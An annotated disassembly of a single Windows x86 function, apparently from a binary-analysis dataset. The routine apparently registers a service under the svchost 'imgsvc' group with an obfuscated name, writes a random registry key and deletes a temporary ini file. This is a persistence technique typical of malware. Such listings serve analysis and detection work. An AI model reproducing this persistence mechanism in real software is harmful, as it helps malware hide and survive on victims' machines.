Function at 0x1000bc60
Capabilities:
Delete file
Get common file path

Disassembly:
sub esp, 0x97c
push ebx
push ebp
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xb9]
mov byte [esp + 0xb8], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0xb8]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, str.Net_Temp.ini
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0xb8]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0xbb], 0
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0xb8]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov ecx, 0xd
mov esi, str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvcHost
lea edi, [esp + 0x84]
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x84]
push ecx
movsb byte es:[edi], byte [esi]
call fcn.1000b980
mov ecx, 0x18
xor eax, eax
lea edi, [esp + 0x25]
mov byte [esp + 0x24], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_rand]
imul eax, eax, 0x2b67
push eax
lea edx, [esp + 0x28]
push str.SOFTWARE_d
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [esp + 0xcc]
lea ecx, [esp + 0x30]
push eax
push ecx
call fcn.1000b9e0
add esp, 0x1c
lea edx, [esp + 0x10]
lea eax, [esp + 0x1c]
push edx
push 0xf003f
push 0
push eax
push 0x80000002
call dword [0x100193c0]
test eax, eax
jne 0x1000bf15
mov ecx, 0x1f3
lea edi, [esp + 0x1bd]
mov byte [esp + 0x1bc], al
lea edx, [esp + 0x1bc]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x1f4
xor eax, eax
lea edi, [esp + 0x1bc]
mov dword [esp + 0x18], 7
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x14]
lea eax, [esp + 0x18]
push ecx
mov ecx, dword [esp + 0x14]
push edx
push eax
push 0
push str.imgsvc
push ecx
mov dword [esp + 0x2c], 0x7d0
call dword [0x100193c4]
test eax, eax
jne 0x1000be6d
lea edi, [esp + 0x1bc]
or ecx, 0xffffffff
xor ebx, ebx
lea ebp, [esp + 0x1bc]
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov esi, ecx
test si, si
je 0x1000be28
cmp si, 1
je 0x1000be28
push str.Knuqrl_Sumw_freF
push ebp
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
test eax, eax
je 0x1000be57
mov eax, esi
and eax, 0xffff
test si, si
lea ebp, [eax + ebp + 1]
lea ebx, [ebx + eax + 1]
je 0x1000be28
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov esi, ecx
test si, si
jne 0x1000bde8
mov edi, str.Knuqrl_Sumw_freF
or ecx, 0xffffffff
xor eax, eax
push str.Knuqrl_Sumw_freF
repne scasb al, byte es:[edi]
mov al, byte [ebp - 1]
push 0x10017e5c
not ecx
dec ecx
add ebx, ecx
test al, al
je 0x1000be4b
inc ebp
push ebp
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
jmp 0x1000bea9
mov edx, dword [esp + 0x10]
push edx
call dword [0x10019360]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x97c
ret
mov edi, str.Knuqrl_Sumw_freF
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x1bc]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x1bc]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov ebx, ecx
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x1bc]
push ebx
push ecx
push 7
push 0
push str.imgsvc
push edx
call dword [0x100193b0]
mov eax, dword [esp + 0x10]
push eax
call dword [0x10019360]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [esp + 0xb8]
push ecx
call esi
lea edx, [esp + 0xb8]
lea eax, [esp + 0x1c]
push edx
push eax
call fcn.1000b980
lea ecx, [esp + 0xc0]
lea edx, [esp + 0x88]
push ecx
push edx
call fcn.1000b9e0
add esp, 0x10
lea eax, [esp + 0xb8]
push eax
call esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x97c
ret